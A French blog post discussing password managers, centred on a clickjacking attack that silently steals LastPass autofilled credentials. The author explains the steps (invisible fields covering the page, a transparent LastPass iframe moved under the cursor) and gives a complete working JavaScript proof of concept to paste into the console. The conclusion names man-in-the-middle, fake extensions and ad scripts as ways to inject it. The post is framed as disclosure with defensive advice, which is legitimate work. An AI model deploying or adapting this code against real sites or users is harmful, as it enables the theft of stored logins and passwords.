[LastPass] Comment est-il possible de se faire dérober ses identifiants ….

 

Salut à tous,

 

Cet article sera probablement mon "gros" article du mois.
Lors d'une discussion avec quelques collègues durant laquelle nous partagions nos opinions sur "faut-il oui ou non, stocker nos identifiants dans un gestionnaire de mot de passe ?"
L'un des plus connus ... et forcément l'un des plus convoités par les pirates, reste "LastPass"
(Forcément, plus un outil à une communauté d'utilisateurs larges ... plus c'est une mine d'or)

 

Gestionnaire de mot de passe ou non ?

je dirais qu'un gestionnaire de mot de passe est utile pour protéger et centraliser tous vos mots de passe en dehors de ceux de vos messageries

Le ou les seul(s) mots de passe qu'il ne faut surtout pas stocker ... sont ceux d'une messagerie.

Pourquoi ?
Car si un pirate dispose du mot de passe de votre messagerie, il pourra récupérer l'ensemble de vos mots de passe, au travers de la célèbre fonction "mot de passe oublié".

Me concernant, je suis plutôt à utiliser des identifiants compliqué ...
Je n'ai pas spécialement à les retenir ... puisqu'il est possible de "perdre son mot de passe" ... et donc d'utiliser la récupération de mot de passe, lorsque j'ai besoin de les utiliser  ...

 

LastPass est-il un bon gestionnaire de mot de passe ?

Je suis depuis peu, un utilisateur de LastPass ...
Les points qui me sont les plus dérangeants sur cette solution sont surtout l'IHM / l'UX ...
J'ai beaucoup de mal avec l'interface graphique que je trouve "lourde" et "complexe".

Il y a beaucoup de fonctionnalités mais peut-être un peu trop ... ce qui alourdit pas mal l'ergonomie / design

Côté sécurité :
Je pense que c'est un très bon gestionnaire de mot de passe ...
Mais comme tout système, il n'est pas sans "failles".

 

Récupérer des identifiants LastPass avec un peu de Javascript

LastPass est souvent vulnérable sur les formulaires qu'il remplit de manière automatique.
Aussi, si vous tenez à mettre le plus de chance de votre côté, il est préférable pour vous de désactiver l'auto-remplissage / Autofill,  en suivant les indications fournies par cette page :

https://lastpass.com/support.php?cmd=showfaq&id=8956

Pour ma part, j'ai écrit un script qui s'injecte dans différentes pages et qui permet d'extraire silencieusement les identifiants d'un utilisateur.

Etape 1  - Remplir tout l'écran de champs :

Première étape, remplir l'écran de champs "mot de passe", et de champs "login", en les superposant de manière à ce que l'utilisateur n'ait d'autres choix que de cliquer sur l'icone LastPass, quel que soit l'endroit de l'écran où il fera un click.
Chacun des champs sera "invisible" (opacité à 0) ... l'utilisateur ne les verra donc pas

Etape 2 - Déplacer automatiquement la liste des identifiants sous la souris :

Lorsque l'utilisateur souhaitera cliquer sur un lien, ou sur n'importe quel endroit de son écran, il ouvrira sans s'en rendre compte la liste déroulante des identifiants de LastPass ...
Celle-ci est dans une iframe, il n'est donc pas possible d'y accéder directement ...

Il faudra donc forcer cette iframe à être "transparente", et surtout l'a positionner automatiquement sous la souris de l'utilisateur ...

Ainsi, lorsque l'utilisateur va faire son premier clic ... il ouvrira la liste déroulante ...
Au prochain clic ... il aura sélectionné un identifiant  !

Etape 3  - Capture d'identifiants

Dernière étape, lorsque l'utilisateur a sélectionné (à son insu) un identifiant ...
LastPass va remplir automatiquement le champ (invisible) sur lequel l'utilisateur aura cliqué, avec un nom d'utilisateur ou un mot de passe  !

En 4 clics (ou moins), vous aurez récupéré le nom d'utilisateur ET le mot de passe

Mon script :

Si vous utilisez LastPass, je vous invite à tester cette méthode au travers de ce petit script que je vous ai écrit.
Il suffit de vous rendre sur un site où vous avez des identifiants LastPass.
Sur n'importe quel page d'ouvrir une page ... et enfin de copier-coller dans votre console (Touche F12, onglet "console"), ce code :

var body		   = document.getElementsByTagName('html')[0],
	trapLastPasswd = document.createElement('input'),
	trapLastLogin  = document.createElement('input'),
	captureCred	   = {},
	stop		   = false,
	blockSize      = 15,
	screenH 	   = body.clientHeight / blockSize,
	screenW 	   = body.clientWidth  / blockSize,
	buildInput = function(top,left){
		var items = ['username','password'];
		for (var i in items){
			var type = items[i];
				input = document.createElement('input');
				body.appendChild(input);
				input.setAttribute('type',type == 'username' ? "text" : type);
				input.setAttribute('name', type);
				input.setAttribute('class', 'steal-'+type);
				input.setAttribute('autocomplete', "off");
				input.addEventListener('change', trapValue);
				input.setAttribute('style','z-index:100000;cursor:pointer;opacity:0;width:50px;height:'+blockSize+'px;'+
				'border:0px;padding:0px;margin:0px;position:fixed;top:'+top+'px;left:'+left+'px')
		}
	},
	//steal Record
	trapValue = function(evt){
		if (captureCred['text'] && captureCred['password'] && !stop){ 
			stop = true;
			alert(JSON.stringify(captureCred))
			return setTimeout(function(){ document.location = document.location+"?steal" }, 5000 );
		}
		oldClass =evt.target.getAttribute('class');
		inputs = document.getElementsByClassName(oldClass);
		newType= oldClass.indexOf('username') != -1 ? "password":"username";
		for (var i in inputs) 
			if (inputs[i].setAttribute) {
				inputs[i].parentNode.removeChild(inputs[i]);
				continue;
			}
		captureCred[evt.target.type] = evt.target.value;
	},
	//Capture mouse Position
	trackMouse = function(evt){
		var ifr = document.getElementsByTagName('iframe');
		for (var i in ifr){
			if (!ifr[i].src) continue;
			if ((/chrome\-extension\:/.exec(ifr[i].src)))
				ifr[i].setAttribute('style','position:fixed;top:'+(evt.clientY-100)+'px;left:'+(evt.clientX-100)+'px;border:0px;z-index:100101;');
		}
	},
	initLastPassStealer = function(){
		var css = document.createElement('style');
			css.textContent = 'iframe[name=LPFrame]{opacity:0.01!important;}';
			body.appendChild(css);
		//Fill All Screen With Password's Inputs
		for (var i=0;i<=screenH;i++)
			for	(j=0;j<=screenW;j++)
				setTimeout(buildInput.bind(null, ((screenH-i)*blockSize), 
							((screenW-j)*blockSize)), (j+1) * 25);

		//Track When Mouse Move
		body.addEventListener('mousemove', trackMouse);
	};
initLastPassStealer();

 

Une petite démo ?

Pour le fun, j'ai pris quelques minutes pour que vous constatiez le fonctionnement ...
J'ai exécuté ce script sur 3 sites "developpez.com", "mlabs.com" et "rhum-dillon.com"

A la fin de la vidéo, je fais une démo en affichant les "champs cachés" et la liste déroulante de LastPass qui est également cachée.

 

 

Conclusion

Les gestionnaires de mots de passe c'est pratique, je vous incite à en utiliser et surtout à mettre des mots de passe bien long et bien compliqué !

Mais ne stockez jamais vos identifiants de messagerie !

Certains diront que cette attaque nécessite de pouvoir injecter directement ce code dans la page ...
C'est une contrainte en effet, cependant il est tout à fait possible d'y parvenir à l'aide d'une Man In The Middle, d'une fausse extension pour navigateur, etc ...
Cette "faille" est également exploitable au travers d'un script tiers sur un site internet (comme celui d'un annonceur)

L’intérêt de cette attaque, c'est qu'elle ne nécessite pas que l'utilisateur s'identifie ...
Identifié ou non, elle permet la récupération des identifiants depuis n'importe quelle page d'un site internet.

 

 

Partagez ce contenu

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *